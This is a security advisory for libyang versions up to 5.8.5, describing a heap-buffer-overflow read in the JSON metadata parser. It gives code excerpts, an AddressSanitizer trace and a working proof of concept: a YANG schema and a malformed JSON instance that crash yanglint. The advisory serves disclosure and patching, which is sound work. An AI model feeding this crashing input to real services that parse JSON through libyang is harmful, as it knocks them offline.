Skip to content

lydjson_metadata_finish(): heap-buffer-overflow via lyd_parse_data() (JSON metadata)

Moderate
michalvasko published GHSA-94p8-8xvc-7rv4 Jun 19, 2026

Package

libyang

Affected versions

<= 5.8.5

Patched versions

5.8.6

Description

Summary

Parsing an untrusted JSON data instance that carries malformed metadata makes libyang read 8 bytes past the end of a heap-allocated data node in lydjson_metadata_finish(). The out-of-bounds read is reachable through the public lyd_parse_data() API.

Details

When a JSON metadata key (@module:node) appears before its corresponding data node, lydjson_parse_attribute() cannot find the target node and falls back to parsing the entire @... block as an opaque node with LYD_PARSE_OPAQ enabled:

/* src/parser_json.c – lydjson_parse_attribute() */
lydctx->parse_opts |= LYD_PARSE_OPAQ;
r = lydjson_ctx_next_parse_opaq(lydctx, opaq_name, ...);

While processing the children of that opaque metadata container, lydjson_subtree_r() calls lydjson_get_snode() with sparent = NULL (because the parent is opaque and has no schema). This makes lys_find_child_node() search at module top-level, so a key such as "example-config:system" resolves to a real container schema node. The resolved node is then created as a proper inner node (lyd_node_inner, 72 bytes) via lyd_create_inner() and inserted as a child of the opaque metadata container.

Later, lydjson_metadata_finish() iterates the children of the metadata container and unconditionally casts every child to lyd_node_opaq *:

/* src/parser_json.c:665-670 */
LY_LIST_FOR(meta_container->child, meta_iter) {
    struct lyd_node_opaq *meta = (struct lyd_node_opaq *)meta_iter;
    struct lys_module *mod = NULL;
    mod = ly_ctx_get_module_implemented(lydctx->jsonctx->ctx, meta->name.prefix);  /* OOB read */

lyd_node_opaq.name.prefix is at byte offset 72 from the start of the struct, but the lyd_node_inner child was only allocated as 72 bytes. Reading meta->name.prefix therefore reads 8 bytes immediately past the end of the allocation. AddressSanitizer:

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50700000b4a8
READ of size 8 thread T0
    #0 lydjson_metadata_finish     src/parser_json.c:670:90
    #1 lyd_parse_json              src/parser_json.c:2016:9
    #2 lyd_parse                   src/tree_data.c:129:13
    #3 lyd_parse_data              src/tree_data.c:206:12
    #4 parse_input_by_type         tools/lint/cmd_data.c:505:15
    #5 cmd_data_process            tools/lint/cmd_data.c:573:15
    #6 main_ni                     tools/lint/main_ni.c:825:20
    #7 main                        tools/lint/main.c:51:16

0x50700000b4a8 is located 0 bytes after 72-byte region
allocated by thread T0 here:
    #0 calloc
    #1 lyd_create_inner            src/tree_data_new.c:87:10
    #2 lydjson_parse_instance_inner src/parser_json.c:1382:5
    #3 lydjson_parse_instance      src/parser_json.c:1530:17
    #4 lydjson_subtree_r           src/parser_json.c:1768:17

PoC

Build with AddressSanitizer:

git clone https://github.com/CESNET/libyang.git
cd libyang
git checkout 5435b592f

mkdir build && cd build
cmake -D CMAKE_BUILD_TYPE=Debug -D CMAKE_C_FLAGS="-fsanitize=address,undefined" ..
make -j

Create the YANG schema file1.yang:

cat > file1.yang <<'EOF'
module example-config {
  namespace "urn:example:config";
  prefix "exconf";
  container system {
    leaf hostname { type string; }
  }
}
EOF

Create the malformed JSON instance crash.json:

cat > crash.json <<'EOF'
{
  "@example-config:system": {
    "example-config:system": {}
  },
  "example-config:system": {}
}
EOF

Run yanglint:

./yanglint file1.yang crash.json

The ASan build aborts with the heap-buffer-overflow shown above; a plain release build crashes with SIGSEGV (exit code 139) on the same inputs.

Impact

A heap-buffer-overflow read (CWE-125) triggered by untrusted JSON instance data. Any application that parses attacker-controlled JSON through libyang's public lyd_parse_data() path is affected. The reliably reproducible impact is a denial of service (crash).

Severity

Moderate

CVE ID

No known CVE

Weaknesses

No CWEs

Credits